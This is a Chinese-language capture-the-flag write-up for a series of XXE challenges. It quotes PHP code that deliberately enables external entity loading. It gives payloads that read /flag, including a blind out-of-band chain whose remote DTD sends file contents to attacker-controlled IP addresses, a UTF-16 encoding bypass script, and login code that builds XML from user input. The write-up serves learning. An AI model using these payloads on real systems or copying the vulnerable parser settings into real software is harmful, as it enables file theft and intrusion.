error_reporting(0);
// 允许加载外部实体(存在XXE风险)
libxml_disable_entity_loader(false);
// 获取原始POST请求体内容(通常为XML数据)
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
// 解析XML,允许外部实体和DTD(存在XXE风险)
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
// 将DOM对象转为SimpleXML对象,便于访问节点
$creds = simplexml_import_dom($dom);
// 获取ctfshow节点内容
$ctfshow = $creds->ctfshow;
// 输出ctfshow节点内容
echo $ctfshow;
}
// 高亮显示当前文件源码
highlight_file(__FILE__);
这题没有过滤,直接传一个xml外部实体进行文件读取即可,
注意的一点是这里指定了输出的节点为 ctfshow
<!DOCTYPE xxeinjection [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
<ctfshow>&xxe;</ctfshow>
</searchForm>
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);
可以发现这题比上体少了
// 将DOM对象转为SimpleXML对象,便于访问节点
$creds = simplexml_import_dom($dom);
// 获取ctfshow节点内容
$ctfshow = $creds->ctfshow;
也就是这题没有回显。
这里我们是使用VPS进行外带
先在vps上创建一个dtd文件
<!ENTITY % all "<!ENTITY % send SYSTEM 'http://124.71.111.64:1123/%file;'> ">
%all;
%send;
%
; 是 % 的实体编码,防止被过滤%all
执行all实体,实际定义了send实体%send
执行send实体,触发一次外带请求- 定义了一个名为all的参数实体,内容是再定义一个send实体
然后VPS开启监听1123端口
发送payload
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.71.111.64/eval.dtd">
%dtd;
]>
- 读取本地flag保存到file实体
- 远程加载eval.dtd实体,然后执行
然后就可以收到外带的flag了
<?xml version="1.0"
关系不大,本来也不一定要用(xml头声明不强制要求,可有可无
<!DOCTYPE xxeinjection [
<!ENTITY xxe SYSTEM "file:///flag">
]>
<searchForm>
<ctfshow>&xxe;</ctfshow>
</searchForm>
同上即可,因为本来就可以不用写xml头声明
xml 文档不仅可以用 UTF-8 编码,也可以用 UTF-16(两个变体 - BE 和 LE)、UTF-32(四个变体 - BE、LE、2143、3412) 和 EBCDIC 编码
import requests
url = 'http://a4feaf21-d126-455c-beca-83288c5ae213.challenge.ctf.show/'
data = '''
<!DOCTYPE test [
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % dtd SYSTEM "http://124.222.136.33:1338/evil.dtd">
%dtd;
]>
'''
r = requests.post(url=url,data=data.encode('utf-16'))
翻源码可以翻到登录的逻辑
function doLogin(){
var username = $("#username").val();
var password = $("#password").val();
if(username == "" || password == ""){
alert("Please enter the username and password!");
return;
}
var data = "<user><username>" + username + "</username><password>" + password + "</password></user>";
$.ajax({
type: "POST",
url: "doLogin",
contentType: "application/xml;charset=utf-8",
data: data,
dataType: "xml",
anysc: false,
success: function (result) {
var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
if(code == "0"){
$(".msg").text(msg + " login fail!");
}else if(code == "1"){
$(".msg").text(msg + " login success!");
}else{
$(".msg").text("error:" + msg);
}
},
error: function (XMLHttpRequest,textStatus,errorThrown) {
$(".msg").text(errorThrown + ':' + textStatus);
}
});
}
抓个包一看,就发现有xml表单提交数据的代码
修改这个即可